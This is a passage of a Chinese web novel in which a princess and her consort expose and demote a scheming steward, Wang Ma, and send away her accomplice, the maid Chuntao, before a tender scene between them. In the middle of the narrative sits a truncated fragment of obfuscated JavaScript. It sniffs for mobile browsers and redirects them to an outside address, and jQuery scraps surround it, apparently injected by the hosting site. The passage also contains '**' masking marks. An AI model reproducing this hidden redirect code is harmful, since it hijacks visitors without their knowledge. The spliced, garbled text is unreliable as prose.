王妈听完,脸色煞白,却依旧死不承认。
她扑通跪倒在地,指着春桃,痛心疾首地哭喊起来。
“你血口喷人!”
“殿下明鉴啊!老奴冤枉!”
“定是这丫头手脚不干净,偷了东西被发现,才胡乱攀咬,想拉老奴下水啊!”
她转向洛晴雪,哭得老泪纵横。
“殿下,您是知道老奴的!”
“老奴伺候了您十几年,对您忠心耿耿,怎么会做出这等大逆不道的事情来!”
陆宸看着她精湛的演技,只觉得可笑。
“事到如今,你还要狡辩?”
他上前一步,居高临下地看着她,目光尖锐。
“春桃不过一个粗使丫头,平日连主院的门都进不了。”
“若不是你指使,她如何能拿到木盒的钥匙?”
“她又如何知道,这对玉佩对公主殿下意义非凡,能用它来栽赃于我?”
面对一连串的质问,王妈张了张嘴,却一个字也说不出来,额上冷汗涔涔而下。
她所有的辩解,在这些无法解释的疑点面前,都显得苍白无力。
洛晴雪看着她做贼心虚的模样,心中最后一点温情,也彻底消散了。
过往十几年的情分,在这一刻,被她亲手斩断,化为齑粉。
她竟然拿母后留给自己唯一的念想,去做这等腌臜算计。
她想离间自己与夫君的感情,想毁了陆宸,想重新夺回她那可笑的权力。
不可饶恕。
洛晴雪缓缓闭上眼,再睁开时,眸中已是一片冰封。
“王妈。”
她的声音很轻,却带着前所未有的冷意。
“本宫待你不薄吧?”
王妈浑身一僵,哭声戛然而止。
洛晴雪一步步走到她面前,居高临下地看着她。
“你贪墨府中钱财,本宫念你劳苦功高,可以不计较。”
“你挑唆下人,构陷驸马,本宫念你侍奉多年,也可以从轻发落。”
“可你千不该,万不该,动了母后的遗物。”
她的声音陡然拔高,字字如冰锥,狠狠砸在王妈心上。
“那是本宫的底线!”
她深吸一口气,眼中的怒火渐渐敛去,只剩下死一般的沉寂。
“革去你公主府主管一职,收回所有职权。”
“即刻搬出主管院落,迁至后院杂役房。”
“日后,你便在杂役房,做最低等的洒扫下人。”
“府中任何人,皆可差使你。”
“无本宫与驸马的传召,永世不得踏入前院与主院半步。”
此言一出,整个屋子都静得可怕。
陆宸微微挑眉,看向身侧的洛晴雪。
这丫头,倒是给了他一个惊喜。
比起杖毙或是发卖,这个惩罚,才真正是诛心之策。
对于将权势看得比命还重的王妈来说,让她从云端跌落泥沼,眼睁睁看着别人作威作福,自己却只能像条狗一样活着,这比杀了她,还要让她痛苦百倍。
王妈难以置信地抬起头,整个人都傻了。
让她去做最低等的下人?
任何人都能差使她?
这……这怎么可能!
她宁愿死!
“不!殿下!您不能这么对老奴!”
王妈像是疯了一样,扑上来想要抱住洛晴雪的腿,却被张猛一脚踹开。
“殿下!老奴错了!”
“求您不要这么对老奴啊!”
她绝望地嘶吼着,状若疯妇。
可洛晴雪只是冷冷地看着,再无半分动容。
王妈看着她冷漠的侧脸,心中最后一点希望也破灭了。
一股急火攻心,她只觉得眼前一黑,便直挺挺地向后倒去,彻底晕了过去。
陆宸对着张猛抬了抬下巴。
“拖下去。”
“是。”
张猛应了一声,拽着王妈的脚踝,将她拖出了房间。
洛晴雪这才将目光,落在了春桃身上。
春桃吓得魂不附体,拼命磕头。
“殿下饶命!驸马爷饶命!”
洛晴雪看着她,眼中闪过一抹复杂。
这丫头虽是帮凶,却也是个可怜人。
罢了。
“你走吧。”
“本宫不杀你,但公主府也容不下你。”
“念在你最后能够悬崖勒马,本宫给你二十两银子,拿着它,离开京城,永远不要再回来。”
春桃愣住了,她没想到自己还能活命。
她反应过来后,又是砰砰几个响头。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16682061|188790||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“谢殿下不杀之恩!谢驸马爷不杀之恩!”
她知道,自己虽活了下来,但偷盗主家,构陷主子的名声一旦传出去,京城内外,再不会有任何大户人家敢用她了。
离开,是她唯一的出路。
待所有人都退下,房中终于恢复了安静。
陆宸扶着洛晴雪,回了主院寝殿。
洛晴雪从怀中小心取出那对龙凤玉佩,用锦帕一遍遍地擦拭着,仿佛要将上面沾染的晦气全部擦掉。
最后,她将玉佩妥帖地放回紫檀木盒,锁好,珍而重之地放入了妆台最深处的暗格里。
做完这一切,她才松了口气,转身看向一直静静陪着她的陆宸。
陆宸嘴角噙着一抹笑意,缓步上前。
“**诛心。”
“我们家公主,如今是越来越有手段了。”
洛晴雪闻言,脸颊微微一红,紧绷了一晚上的神经,也终于松懈下来。
她俏皮地吐了吐舌头,小声嘟囔。
“还不是跟夫君学的。”
平日里看他不动声色间便能将人**于股掌,自己这点手段,不过是班门弄斧。
陆宸被她这难得一见的娇憨模样取悦了,忍不住伸出手,宠溺地刮了刮她的鼻尖。
“你呀。”
洛晴雪没接话。
鼻尖上还残留着他指腹的温度,有些痒,又有些烫。
她心头一跳,下意识地垂下眼睫,不敢去看他的眼睛。
陆宸看着她泛红的耳根,心中一动,故作疲惫地伸了个懒腰。
“今日忙了一整天,有些乏了。”
“今晚,我就歇在你这儿了。”
洛晴雪蓦地抬起头,一双杏眼瞪得溜圆,震惊地看着他。
歇、歇在她这儿?
他们成亲至今,虽有夫妻之名,却一直分房而居,从未有过夫妻之实。
他怎么会突然提出……
洛晴雪的脑子瞬间一片空白,心脏不争气地狂跳起来。
他们是夫妻,同床共枕,本就是理所应当。
虽然有些突然,但、但这也是早晚的事。
想着想着,她的脸颊迅速爬满了红晕,连脖颈都变成了粉色。
她紧张地绞着衣角,心里已经做好了准备,刚要应下。